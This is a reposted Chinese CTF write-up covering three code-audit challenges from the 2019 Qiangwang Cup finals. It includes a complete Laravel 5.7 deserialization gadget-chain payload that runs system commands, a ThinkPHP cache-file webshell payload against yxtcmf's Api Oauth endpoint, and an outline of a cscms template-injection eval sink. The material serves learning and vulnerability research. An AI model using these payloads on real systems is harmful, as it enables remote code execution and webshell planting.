ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

2019第三届强网杯线下3道RW

2020-06-13 14:04:17  阅读:275  来源: 互联网

标签:RW 函数 parameters app 强网杯 2019 command php class


感谢师傅们的复现环境

链接: https://pan.baidu.com/s/1mcHEJ1fmWtw4ZOMkEEcH4Q 密码: fl0c

题是三道cms代码审计,比传统的ctf更贴切实战,跟着学了一遍收获非常多

Laravel

首先搭建这道题使用的是laravel框架,因此对于windows要进行一定的配置

先下载下composer,连接:https://docs.phpcomposer.com/00-intro.html#Installation-Windows

对于phpstudy开启

重启下服务器,在解压到的WEB路径下的Laravel-5.7/目录下运行下面的命令

>composer install
>php -S 0.0.0.0:8000 -t public

即可看到题目

这道题考察点是php的反序列化的pop构建,触发点是从二次开发的代码,攻击链构造是通过Laravel-5.7框架自身的代码逻辑实现的

详细细节参考这篇博客:https://laworigin.github.io/2019/02/21/laravelv5-7反序列化rce/

第一次接触这个框架,咱也不知道web页面在哪,于是只好翻翻路由

在浏览器中访问下该路径

能拿到源码,而且可以发现反序列化参数可控,根据命令空间可以在phpstorm中找到对应后台文件

根据上面的文章知道是反序列化了,于是下几个断点看看,首先看\vendor\laravel\framework\src\Illuminate\Foundation\TestingPendingCommand.php

在最底下有个__destruct运行了run()

再看看类中的run()方法的写法

这里的appcommandparameters是类中的变量,Kernel::class是个接口

这里看变量名字,估计原来的程度逻辑command是函数,parameters是参数

我们要构造命令执行,也就是

this->cpmmand = "system"
this->parameters = "ls" 

先写个雏形

<?php
	namespace Illuminate\Foundation\Testing;
	class PendingCommand
	{
    	public $test;
    	protected $app;
    	protected $command;
    	protected $parameters;
    	protected $expectedExitCode;
    	protected $hasExecuted = false;

		public function __construct($test, $app, $command, $parameters)
    	{
    	    $this->app = $app;
    	    $this->test = $test;
    	    $this->command = $command;
    	    $this->parameters = $parameters;
    	}
	}

	$clazz1 = new PendingCommand("test", "app", "system", "ls");
	echo urlencode(serialize($clazz1));
?>

能够运行到目标上还不错

接下来进入到了$this->mockConsoleOutput()中,第一句代码就死掉了

查看下Mockery::mock()函数,是个call_user_func_array()函数

而刚刚的mockConsoleOutput()第一行代码参数里面带$this->createABufferedOutputMock()跟进下

无论$this->test->expectedOutput也好,$this->test->expectedQuestions也好,可以使用__get()来使其有值,通过代码的正确性

那么__get()魔术方法可以从\vendor\laravel\framework\src\Illuminate\Auth\GenericUser这里找到

那么稍微重构下我们的payload,这里new ArrayInput($this->parameters)是需要parameters是数组,因此上面的payload对应的地方也改改

<?php
	namespace Illuminate\Auth;

	class GenericUser
	{
		protected $attributes;
	    public function __construct(array $attributes){
	        $this->attributes = $attributes;
	    }
	}
	$arr = array('expectedOutput' => array("0"=>"1"), 'expectedQuestions' => array("0"=>"1"));
	$clazz1 = new GenericUser($arr);

	namespace Illuminate\Foundation\Testing;

	class PendingCommand{
	    public $test;
	    protected $app;
	    protected $command;
	    protected $parameters;
	    protected $expectedExitCode;
	    protected $hasExecuted = false;

		public function __construct($test, $app, $command, $parameters){
	    	$this->app = $app;
	    	$this->test = $test;
	    	$this->command = $command;
	    	$this->parameters = $parameters;
	    }
	}
	$clazz2 = new PendingCommand($clazz1, "app", "system", array("ls"));
	echo urlencode(serialize($clazz2));
?>

现在已经过了mockConsoleOutput()判定,但是在函数结束的时候还对app参数进行了操作

再回过头看$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);,文章细节中提到,将其拆成$this->app[Kernel::class]的时候会调用

\vendor\laravel\framework\src\IlluminateContainer\Foundation\Application中的resolve()函数,而这个函数是继承了\vendor\laravel\framework\src\IlluminateContainer\Container.php中的resolve()函数

而调用了getConcrete()函数,而我们需要对bindings[$abstract]['concrete']进行控制,而$abstract的值就是Illuminate\Contracts\Console\Kernel,所以我们能够利用二位数组控制['concrete']

当然这个类中也有上面报错的$this->app->bind()函数,所以$this->app估计就是这个继承类了

代码逻辑会从getConcrete()获取我们可控的值,进入isBuidable()中判断,当然不同

我们输入的不是Illuminate\Contracts\Console\Kernel,也不是Closure类,因此会返回false

于是出来后会走到$this->make()

之后会回到起先的$this->resolve()中,只是此时的$abstract不是Illuminate\Contracts\Console\Kernel,而是我们可控的类了

再次经过getConcrete()会从第三个return中出来,也就是值不会变,那么此时的$abstract$concrete值就是相同的,就会步入到$this->build()当中

而build中是调用了php的反射类ReflectionClass()

麻~,之后操作就是利用反射机制实例化我们可控的变量的类

那么到这一步回看刚刚那段执行的代码

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
$this->app[Kernel::class] //可控,被反射生成的
$this->command			  //可控
$this->parameters		  //可控

那么就是要找到一个合适的call方法是能够代码执行的即可,文章中给出的是实例化IlluminateContainer\Foundation\Application类,因为该类的call方法是继承\IlluminateContainer\Container类中call方法

继续跟进下BoundMethod:call()方法,它跳转第二个return,这个会调用到call_user_func_array()

后面我跟进了static::getMethodDependencies()但无非会返回上面最先传进去的$parameters,而这里的$callback也就是我们传入的$command,至此已经可以命令执行了

最终的payload

<?php
	namespace Illuminate\Auth;

	class GenericUser
	{
		protected $attributes;
	    public function __construct(array $attributes){
	        $this->attributes = $attributes;
	    }
	}
	$arr = array('expectedOutput' => array("0"=>"1"), 'expectedQuestions' => array("0"=>"1"));
	$clazz1 = new GenericUser($arr);

	
	namespace Illuminate\Foundation;
	
	class Application{
		protected $bindings = [];
		public function __construct($bindings){
	    	$this->bindings = $bindings;
	    }
	}
	$clazz2 = new Application(array("Illuminate\Contracts\Console\Kernel" => array("concrete" => 'Illuminate\Foundation\Application')));

	
	namespace Illuminate\Foundation\Testing;

	class PendingCommand{
	    public $test;
	    protected $app;
	    protected $command;
	    protected $parameters;
	    protected $expectedExitCode;
	    protected $hasExecuted = false;

		public function __construct($test, $app, $command, $parameters){
	    	$this->app = $app;
	    	$this->test = $test;
	    	$this->command = $command;
	    	$this->parameters = $parameters;
	    }
	}
	$clazz3 = new PendingCommand($clazz1, $clazz2, "system", array("whoami"));
	echo urlencode(serialize($clazz3));
?>

利用生成的payload传入get中的code,因为windows我就没有用ls,直接用whoami验证

至此整个题目结束,膜一波挖到这个CVE洞的师傅,跟着跟进一波学习了很多

yxtcmf

题目提示说道后台admin和安装install都被删除了,那么就是一个前台getshell的漏洞了

看了一下源码是在thinkphp上进行的二次开发的cms,查看下发现是thinkphp3.2.3版本

thinkphp3thinkphp5均存在缓存文件导致的getshell, tp5是使用Cache::set,而tp3使用的是S()函数

而提供缓存文件功能的文件为\Core\Library\Think\Cache\Drvier\File.class.php

而提供S()方法的文件路径为\Core\Common\functions.php

可以看到S()方法是使用了$cahce这个对象,而这个对象是对应到Think\Cache.class.php目录下的Cache类,而上面提到的File.class.php中的File类又是继承Cache类的

仔细看S()函数,它其中对于$cache的声明使用的Think\Cache::getInstance(),而Think\Cache::getInstance()又调用了自己的connect(),而connect()中把$cache给声明为File对象了

S()写入缓存使用的是$cache->set(),而这个函数最终是调用了File类的set()函数(毕竟翻烂了Cache类也没这方法)

主要的几个函数找到了,还是debug调试才能更加清晰流程,先来测试一下,因为是thinkphp框架,根据路由,找个思路清晰的目录,我这里找的是\application\User\Controller\CenterController.class.php中的index(),当然访问这里要先注册下,之后再代码里面验证一下是不是该页面

在此我把这段代码改成S()缓存,用DEBUG查看下缓存文件的执行流程

之后执行了后会在Data\runtime\Temp\下生成个文件,而文件名就是'sijidou',md5后的值,文件内容如下

被注释了不是问题,可以用%0a%0d来换行,结尾因为进行了反序列化会有",但是可以通过//来注释掉,所以payload为

%0a%0deval($_GET[1]);//

成功生成缓存文件,并能能够命令执行了

刚刚的验证只是我们额外添加的,而对于这个CMS来说,我们要找打它调用S()函数的点,所以在function.php文件中对S()方法进行全局搜索

有46处,但是抛开内核和后台的代码,于是主要去看的就application\Common中的信息了,观察application\Common\function.php中的S()函数

继续查找调用了sp_set_dynamic_config()函数的地方,当然这里也要排除admininstall

测试User\ControllerTeacher\Controller那里面的一项,直接跳到了管理员界面所以也排除掉

所以最后只剩下Api里面的2个地方了,但里面的OauthadminController也是涉及到后台,所以排除

因此定位到的地方是application\Api\Controller\OauthController.class.php

找到利用的路径

127.0.0.1/yxtcms/index.php/api/oauth/injectionAuthocode

仔细看看application\Common\Common\function.phpsp_set_dynamic_config($data)函数,其中$data我们可控,直到最后,操作把$data的值加入到了$configs数组中,然后把$configs数组写入了缓存,因此我们是能够控制一部分写入的内容的,而sp_dynamic_config进行md5后的值为ed182ead0631e95e68e008bc1d3af012,所以文件名也能得到

至此,我们使用post传入poc

authoCode=%0a%0deval($_GET[1]);//

生成的文件没有问题

可以代码执行了

cscms

题目提示:删除了install和admin

4.1版本后最新的高危漏洞的补丁是一个模板注入的漏洞

这道题安装环境琢磨了半天,最后发现高版本的php7.2在安装数据库时一直转圈圈,换成php5.4就能正常安装显示了

跟着思路先去官网上查下补丁,有个模板注入的高危漏洞,把补丁下载下来,使用文件对比工具比较下改动的地方

有三个地方有改动,config里面无非就是改个版本号,重点看看另外2个文件

CS_Input.php里面新加了对getpost的过滤规则

common_helper.php里面删除了get_file_mime()方法,以及对SQL注入新加了点waf还对返回的前端代码标签进行了细微修改

最主要的改动就是CS_Input.php里面的内容了,但是很明显触发点并不在这个文件中而php模板注入一般和可执行的eval()函数有关,因此我用Seay全局搜一下拎一下eval()函数带变量的地方

大概有这么一点,一个个看看

uc_client/下的2个调用的地方一个不可控,一个没有被调用,所以主要精力就是Csskins.php文件里面了

这个eval()前面并没什么特别多,传入的是函数的参数$content,跟踪下调用cscms_php()的地方,只有一处,也是Csskins.php文件里面

$php_arr[1][$i]最初是由$str参数传入的,再搜调用template_parse()的地方

又因为这个cms是在CI框架上二次开发的,所以调用template_parse()的地方大部分都是$this->load->view(),所以要有从前端获取的数值有我们的可控点即可

令人在意的文件在于Gbook.phpCstpl.php

最后是锁定Cstpl.php文件的gbook_list()函数

查下路由可以发现访问index.php/gbook即可触发,最先我以为是index.php/home/gbook才能触发,但是我发现直接使用index.php/就是访问的home()函数(orz这路由我也不太清楚)

显示gbook页面大概是这样的一个逻辑

调用gbook()函数显示整个框架,再调用gbook_list()函数显示留言

众所周知大部分留言都是存在数据库里面的,它会先从数据库里面取数据再进行渲染,所以留言

访问路径加个lists/,不然/gbook页面是一直转圈圈的

参考链接

https://xz.aliyun.com/t/5444

https://mp.weixin.qq.com/s/nuecZTuRTrbYqahzdwh7tw

https://www.4hou.com/web/18587.html

https://laworigin.github.io/2019/02/21/laravelv5-7反序列化rce/

标签:RW,函数,parameters,app,强网杯,2019,command,php,class
来源: https://www.cnblogs.com/sijidou/p/13112099.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有